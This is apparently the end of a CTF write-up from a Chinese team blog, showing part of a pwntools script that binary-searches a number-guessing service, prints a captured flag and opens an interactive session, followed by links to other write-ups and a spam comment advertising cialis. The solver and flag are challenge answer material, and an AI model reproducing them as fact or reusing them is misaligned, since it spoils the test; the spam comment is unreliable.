            b'flag{B5n5e11ZfuQq1eH8kdTcF5MO205NtDs8}\n'
            b'\n'
            '''
            result = io.recvuntil([b"low\n",b"up\n",b"You lost",b"Bingo"])
            if b'low\n' in result:
                return 1
            elif b'up\n' in result:
                return -1
            elif b'You lost' in result:
                return 3
            elif b'Bingo' in result:
                print(result)
                io.interactive()
                return 0
        def guessNumber():
            left =  100000
            right = 999999
            while left <= right:
                mid = left + (right - left) // 2
                result = guess(mid)
                print(left,right,mid,result)
                if result == 0:
                    return mid
                elif result == 1:
                    left = mid + 1
                elif result == 3:
                    return False
                else:
                    right = mid - 1
            return -1

        print(guessNumber())
    except EOFError:
        raise
    finally:
        print("end")
        io.close()

if __name__ == '__main__':
    while 1:
        run()
  • 祥云杯 2022 By W&M
  • RCTF 2022 By W&M

仅有 1 条评论
  1. drocack

    cialis Caring for women with ovarian, cervical and breast cancer requires offering additional time and attention in the dental hygiene practice setting to provide education about managing oral side effects of chemotherapy and radiation, says JoAnn R

    drocack June 13th, 2023 at 07:39 pm回复
取消回复

说点什么?

© 2023 W&M Team. Using Typecho & Moricolor.